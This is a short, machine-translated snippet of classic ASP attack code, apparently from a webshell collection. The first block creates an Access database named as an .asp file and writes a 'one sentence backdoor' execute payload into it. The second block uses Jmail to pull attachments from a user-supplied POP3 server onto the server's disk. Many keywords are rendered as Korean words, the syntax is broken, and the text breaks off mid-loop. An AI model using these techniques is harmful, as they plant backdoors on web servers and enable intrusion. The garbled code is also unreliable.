<%
'CodeBynetPatch
DIMDBFILE, SQL
db = "netpatch.asp"
dbfile = server.mappath (db)
setydb = server.createobject ( "adox.catalog")
ydb.create "provider = microsoft.jet.oledb.4.0; dataSource ="& dbfile
setydb = 아무것도
iferr.number = 0then
response.writedbfile & "성공적으로 생성 <br>"
또 다른
Response.write "창조가 실패, 이유 :"& err.description
응답. 엔드
endif
setconn = server.createobject ( "adodb.connection")
conn.open "공급자 = microsoft.jet.oledb.4.0; dataSource ="& dbfile
SQL = "CreateTableFData ([Data] 메모)"
Conn.Execute (SQL)
setrs = createobject ( "adodb.recordset")
Rs. Open "fdata", Conn, 1,3
rs.addnew
rs ( "data") = "┼ ┼ 력 번호 및 적을 활성화하고 댓글을 제거하는 것을 기억하십시오! 한 문장 백도어 executionerQuest ("n ")).
Rs.update
%>
Jmail에서 파일을 하드 디스크에 쓰십시오
<%
'Codzbykevin1986 [S4T]
user = request.form ( "사용자")
Pass = request.form ( "Pass")
Popserver = request.form ( "Popserver")
ifuser <> ""및 Pass <> "" "및 PopServer <>" ""
setobjmail = createobject ( "jmail.pop3")
objmail.connectuser, Pass, Popserver
setobjmsg = createobject ( "jmail.message")
setobjmsg = objmail.messages.item (1)
분리기 = ","
response.write "attachmentNameis :"& seaitta & "<br>"
objmail.disconnect
endif
functionsaveatta ()
setattachments = objmsg.attachments
분리기 = ","
응답. "Thesizeof thisAttachmentis :"& objmsg.size & "<br>"
fori = 0toattachments.count-1
ifi = attachments.count-1then